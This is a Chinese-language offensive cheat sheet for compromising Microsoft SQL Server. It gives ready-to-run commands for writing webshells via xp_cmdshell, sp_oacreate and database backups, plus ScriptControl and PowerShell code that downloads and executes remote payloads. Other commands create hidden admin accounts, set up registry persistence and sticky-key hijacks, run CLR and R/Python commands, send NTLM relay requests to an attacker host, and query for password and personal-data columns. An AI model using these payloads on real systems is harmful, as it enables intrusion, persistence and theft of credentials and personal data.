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Mssql

更新时间：2022.4.15

老鸟速查笔记，新手建议直接读文末引用。

GetShell

存储过程xp_cmdshell写shell

  • 拥有DBA权限
  • 知道的网站绝对路径

xp_cmdshell不能调用，下面命令打开

在2005中xp_cmdshell的权限是system，2008中是network。

#开启xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 1;`
reconfigure;
exec sp_configure 'show advanced options', 0;
reconfigure;
exec master..xp_cmdshell 'whoami' #能执行得到whoami的结果
#关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;`
exec sp_configure 'show advanced options', 0;
reconfigure;
exec master..xp_cmdshell 'whoami' #不能得到whoami的结果

写shell

exec master..xp_cmdshell 'echo ^<%eval request("chopper")%^> >>f:\\7788\\MSSQL-SQLi-Labs\\shell.asp'

sqlmap

http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
-- 判断当前是否为DBA权限，为1则可以提权
select is_srvrolemember('sysadmin');

-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

-- 查看能否使用 xp_cmdshell，从MSSQL2005版本之后默认关闭
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

-- 关闭 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

-- 执行 xp_cmdshell
exec master..xp_cmdshell 'cmd /c whoami'

-- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行
exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'

无会显,也无法进行 dnslog 怎么办

通过临时表查看命令执行的结果

CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig'
select * from tmpTable

常见报错

标记message: 配置选项 ‘xp_cmdshell’ 不存在，也可能是高级选

sql EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;

如果 xp_cmdshell 被删除了，需要重新恢复或自己上传 xplog70.dll 进行恢复

以mssql2012为例，默认路径为

C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll

恢复如下

-- 判断存储扩展是否存在,返回结果为1就OK

Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 恢复xp_cmdshell,返回结果为1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 否则上传xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

存储过程sp_oacreate写shell

  • 拥有DBA权限
  • 知道的网站绝对路径

有do_owner权限的用户也可以。

判断当前是否为DBA权限，为1则可以提权

select is_srvrolemember('sysadmin');

利用存储过程写入一句话

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\xxxx\www\test.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'

被删除可以使用这个来提权试试,恢复sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

日志备份写shell

优势：

  • 重复性好，多次备份的成功率高
  • 相对于差异备份而言，shell的体积较小

利用条件：

  • 拥有DBA权限
  • 知道网站绝对路径，并且可写
  • 站库不分离
  • 数据库必须被备份过一次

LOG备份的要求是他的数据库备份过，而且选择恢复模式得是完整模式，至少在2008上是这样的，但是使用log备份文件会小的多，当然如果你的权限够高可以设置他的恢复模式

-- 判断当前是否为DBA权限，为1则可以提权
select is_srvrolemember('sysadmin');

alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\xxxx\www\2.asp'

差异备份写shell

  • 拥有DBA权限
  • 知道的网站绝对路径

在 sql server 里 dbo 和 sa 权限都有备份数据库权限，我们可以把数据库备份成 asp 文件，获得 webshell

因为权限的问题，最好不要备份到盘符根目录,如果这种方式失败，大概率是备份的目录没有写权限.

当过滤了特殊的字符比如单引号，或者 路径符号 都可以使用定义局部变量来执行。

-- 生成备份文件,注意库名和路径
backup database 库名 to disk = 'c:\bak.bak';
create table [dbo].[test] ([cmd] [image]);
-- 插入一句话：<%execute(request("a"))%>
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
-- 再次备份,注意路径
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;

Privilege Escalation

沙盒提权

  • 拥有DBA权限
  • sqlserver服务权限为system
  • 服务器拥有jet.oledb.4.0驱动
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode';

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( whoami )');


-- 修改注册表，关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

-- 开启 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO
-- Until SQL Server 2012

EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1

-- SQL Server 2014 or later
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1

-- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可.
-- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令.
-- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令.

Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("whoami")');

select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');

xp_regwrite

利用条件

  • xpstar.dll

修改注册表来劫持粘贴键(映像劫持)

利用regwrite函数修改注册表，起到劫持作用

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

-- 检查是否劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

将 COM 对象注册到 CLSID

在进行 sp_oacreate 利用的时候就有使用 com 组件执行命令的方法


-- 使用其 CLSID '0D43FE01-F093-11CF-8940-00A0C9054228' 注册 'The File System Object component'
EXEC xp_regwrite N'HKEY_ CLASSES_ROOT',
N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\', N'', REG_SZ, N'FileSystem Object';
EXEC xp_regwrite N'HKEY_CLASSES_ROOT',
N'CLSID\(0D43FE01-F093-11CF-8940-00A0C9054228}\InProcServer32', N'',
REG_SZ, N'%systemroot%\system32\scrrun.dll';
EXEC xp_regwrite N'HKEY_CLASSES_ROOT',
N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID',N'',REG_SZ,
N'Scripting.FileSystemObject';
EXEC xp_regwrite N'HKEY_CLASSES_ROOT',
N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TypeLib',N'',REG_SZ,
N'{420B2830-E718-11CF-893D-00A0C9054228}';
EXEC xp_regwrite N'HKEY_CLASSES_ROOT',
N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\Version',N'',REG_SZ,
N'1.0';

CMD AutoRun

当 CMD.exe（命令处理器）启动时，如果未指定 /D 标志，将执行 AutoRun 命令。

-- 将 CMD.exe 的 AutoRun 注册表项与软件可执行路径 (c:\windows\system32\calc.exe) 添加,作为持久化的后门
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Command Processor','Autorun','REG_SZ','c:\windows\system32\calc.exe'

Run & RunOnce

Run 和 RunOnce 注册表项会导致程序在用户每次登录时运行。

-- 通过将带有可执行路径 (c:\windows\system32\calc.exe) 的 Aut3 条目添加到此注册表路径，攻击者确保每次用户登录服务器时都会执行恶意软件。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Aut3','REG_SZ','c:\windows\system32\calc.exe'

禁用指定软件


设置在打开指定应用时，自动关闭.镜像劫持的方式。

-- 禁用正在运行的进程的方法是使用 IFEO（Image File Execution Options），通过添加值为 taskkill 的调试器键，在这种情况下将杀死特定进程 Everything.exe：
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Everything.exe','Debugger','REG_SZ','taskkill.exe'

Ole automation procedures提权

  • 拥有DBA权限

判断当前是否为DBA权限，为1则可以提权

select is_srvrolemember('sysadmin');

判断SP_OACREATE状态,如果存在返回1

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

开启Ole automation procedures

EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;

命令执行多种方式

  • wscript.shell组件
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

wscript.shell组件

declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'
  • com组件执行命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
  • com 组件写文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
  • filesystemobject COM 对象利用

https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/filesystemobject-object
filesystemobject”COM 对象允许我们复制文件、管理驱动器等等。

-- 利用 filesystemobject 写vbs脚本
declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'

-- 配合 wscript.shell 组件执行
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs]

复制具有不同名称和位置的 calc.exe 可执行文件

declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe';

移动文件

declare @ffffffff0x int
exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out
exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt'

删除文件

declare @result int
declare @ffffffff0x int
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out
exec sp_oamethod @ffffffff0x,'deletefile',null,'c:\\www\\1.txt'
exec sp_oadestroy @ffffffff0x

替换粘滞键

declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe';

declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'
  • ScriptControl COM 对象利用(未测试成功)

https://developpaper.com/introduction-of-msscriptcontrol-scriptcontrol-component-properties-methods-and-events/ ScriptControl 允许我们在 SQL Server 中实际运行脚本语言，例如 VBScript 或 JavaScript。

-- 使用 JavaScript 创建帐户、更改其密码并将新帐户添加到管理员组
declare @ffffffff0x int
EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT;
EXEC sp_OASetProperty @ffffffff0x, 'Language', 'JavaScript';
EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,
    'var o=new ActiveXObject("Shell.Users");
    z=o.create("testuser");
    z.changePassword("123456!@#","")
    z.setting("AccountType")=3;';

-- 0:"Guests"
-- 1:"Users"
-- 2:"Power Users"
-- 3:"Administrators"

-- 下载恶意软件
declare @ffffffff0x int
EXEC sp_OAcreate 'Scriptcontrol',@ffffffff0x OUT;
EXEC sp_OASetProperty @ffffffff0x, 'Language', 'JavaScript';
EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,
    'var x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET","http://x.x.x.x:443/test.exe",0);
    x.Send();
    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    S.Write(x.responseBody);
    s.SaveToFile("C:\\www\\test.exe",2);
    var r = new ActiveXObject("WScript.Shell");
    r.Run("C:\\www\\test.exe");';

WMI COM 对象利用

declare @objWmi int,@objLocator int,@objPermiss int,@objRet int,@objFull varchar(8000)
EXEC sp_OACreate 'WbemScripting.SWbemLocator.1',@objLocator OUTPUT;
EXEC sp_OAMethod @objLocator,'ConnectServer',@objWmi OUTPUT,'.','root\cimv2';
EXEC sp_OAMethod @objWmi,'Get',@objPermiss OUTPUT,'Win32_LogicalFileSecuritySetting.Path=''wscript.exe''';
EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT, 'Win32_SecurityDescriptor';
EXEC sp_OASetProperty @objFull,'ControlFlags',4;
EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',@objRet output,@objFull;

JobAgent提权

  • 拥有DBA权限
  • 需要sqlserver代理(sqlagent)开启
  1. 尝试开启sqlagent
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
  1. 利用任务计划命令执行（无回显）
-- 利用任务计划命令执行（无回显,可以 dnslog）
-- 创建任务 test，这里test为任务名称，并执行命令，命令执行后的结果，将返回给文本文档out.txt

use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';

CLR提权

CLR 方式可以利用 16 进制文件流方式导入 DLL 文件，不需要文件落地

  • MDUT 中的16进制的dll

dll的制作可以参考下面的文章

-- 启用CLR,SQL Server 2017版本之前

sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项
sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR
ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的

-- 启用CLR，SQL Server 2017版本及之后,引入了严格的安全性，可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限

sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash= <SHA512 of DLL>; -- 将某程序集的SHA512哈希值添加到可信程序集列表中

-- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库

EXEC sp_changedbowner 'sa'
ALTER DATABASE [test] SET trustworthy ON

-- 导入CLR插件

CREATE ASSEMBLY [mssql_CLR]
  AUTHORIZATION [dbo]
  FROM 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  WITH PERMISSION_SET = UNSAFE;
GO

-- 创建CLR函数

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
go

-- 利用CLR执行系统命令

exec dbo.ExecCommand "whoami /all";

格式简化

-- 导入CLR插件
CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;

-- 创建CLR函数
CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]

-- 利用CLR执行系统命令
exec testclrexec 'cmdexec',N'whoami'

Other

tips: 08之前的系统还可以写启动项、粘贴键替换。

xp_dirtree

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录。内容会很多,慎用
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

xp_dirtree

-- 只列 c:\ 文件夹
exec xp_dirtree 'c:',1
-- 列 c:\ 文件夹加文件
exec xp_dirtree 'c:',1,1
-- 列出所有 c:\ 文件和目录,子目录,内容会很多,慎用
exec xp_dirtree 'c:'

xp_dirtree 还可以用来触发 NTLM 请求,进行中继攻击

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'

xp_subdirs

用于得到给定的文件夹内的文件夹列表

-- 列出 C:\\ 目录
exec xp_subdirs "C:\\"

xp_availablemedia

用于获得当前所有驱动器

-- 列出磁盘

EXEC xp_availablemedia

xp_fileexist

于判断文件是否存在的存储过程，参数是文件（file）的路径或目录的路径

-- 判断文件 D:\test.txt 是否存在
exec master.sys.xp_fileexist 'D:\test.txt'

xp_create_subdir

用于创建子目录的存储过程，参数是子目录的路径

-- 创建子目录 D:\test
exec master.sys.xp_create_subdir 'D:\test'

xp_delete_file

可用于删除文件的存储过程，但该存储过程不会删除任意类型的文件，系统限制它只能删除特定类型（备份文件和报表文件）的文件。

-- 删除文件
declare @Date datetime = dateadd(day,-30,getdate())
exec master.sys.xp_delete_file 0,'D:\test\','bak',@Date,0

-- 第一个参数是文件类型（File Type），有效值是0和1，0是指备份文件，1是指报表文件； -- 第二个参数是目录路径（Folder Path）， 目录中的文件会被删除，目录路径必须以“\”结尾； -- 第三个参数是文件的扩展名（File Extension），常用的扩展名是'BAK' 或'TRN'； -- 第四个参数是Date，早于该日期创建的文件将会被删除； -- 第五个参数是子目录（Subfolder），bool类型，0是指忽略子目录，1是指将会删除子目录中的文件；

xp_regenumkeys

可以查看指定的注册表

-- 枚举可用的注册表键值
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

xp_regdeletekey

可以删除指定的注册表值

-- 删除指定的注册表值
EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';

sp_addextendedproc

可以利用于恢复组件,如恢复xp_cmdshell。更多如下

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

删除存储过程，可以用如上方法恢复

exec sp_dropextendedproc 'xp_cmdshell'

触发器

-- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令

set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [ffffffff0x]
on [user]
AFTER UPDATE as
begin
    execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go

-- user 表 update 更新时，自动触发
UPDATE user SET id = '22' WHERE nickname = 'f0x'

R 和 Python

在 SQL Server 2017 及更高版本中，R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本

利用条件：

  • Machine Learning Services 必须要在 Python 安装过程中选择

必须启用外部脚本

  • EXEC sp_configure 'external scripts enabled', 1
  • RECONFIGURE WITH OVERRIDE
  • 重新启动数据库服务器
  • 用户拥有执行任何外部脚本权限

R 脚本利用

-- 利用 R 执行命令
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

-- 利用 R 抓取 Net-NTLM 哈希
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

Python 脚本利用

-- 查看版本
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

-- 利用 Python 执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'

-- 利用 Python 读文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

xx 库中所有字段名带 pass|pwd 的表

select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%pass%' or name like '%pwd%')

xx 库中所有字段名带个人信息的表

select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%')

References